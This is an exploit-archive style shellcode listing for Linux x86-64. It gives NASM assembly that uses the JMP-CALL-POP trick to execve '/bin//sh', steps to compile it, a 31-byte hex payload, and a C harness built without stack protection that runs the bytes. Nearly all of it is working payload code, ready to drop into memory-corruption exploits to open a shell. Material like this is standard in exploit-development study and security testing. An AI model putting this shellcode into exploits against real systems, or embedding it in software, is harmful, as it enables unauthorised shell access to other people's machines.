Linux/x86-64 - /bin/sh Shellcode (31 bytes)

/*
;Title: Linux/x86-64 - /bin/sh Shellcode
;Author: Touhid M.Shaikh
;Contact: https://github.com/touhidshaikh
;Category: Shellcode
;Architecture: Linux x86_64
;Description: This shellcode baased on "JMP CALL POP" method to Execute "/bin//sh". Length of shellcode is 31 bytes.   
;Tested on : #1 SMP PREEMPT RT Debian 4.9.25-1kali1 (2017-05-04)
 
 
 
===COMPILATION AND EXECUTION===
#nasm -f elf64 shell.asm -o shell.o
 
#ld shell.o -o shell <=== Making Binary File
 
 
#./bin2shell.sh shell <== xtract hex code from the binary(https://github.com/touhidshaikh/bin2shell)
 
=================SHELLCODE(INTEL FORMAT)=================
 
section .text
    global _start
_start:
    jmp shell
here:
    xor rax,rax
    pop rdi
    xor rsi,rsi
    xor rdx,rdx
    add rax,59
    syscall
shell:
    call here
bash db "/bin//sh"
 
===================END HERE============================
 
Compile with gcc with some options.
 
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing 
 
 
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";
 
main()
{
    printf("Touhid Shaikh (http://www.touhidshaikh.com)\n");
    printf("Shellcode Length :  %d\n", (int)strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}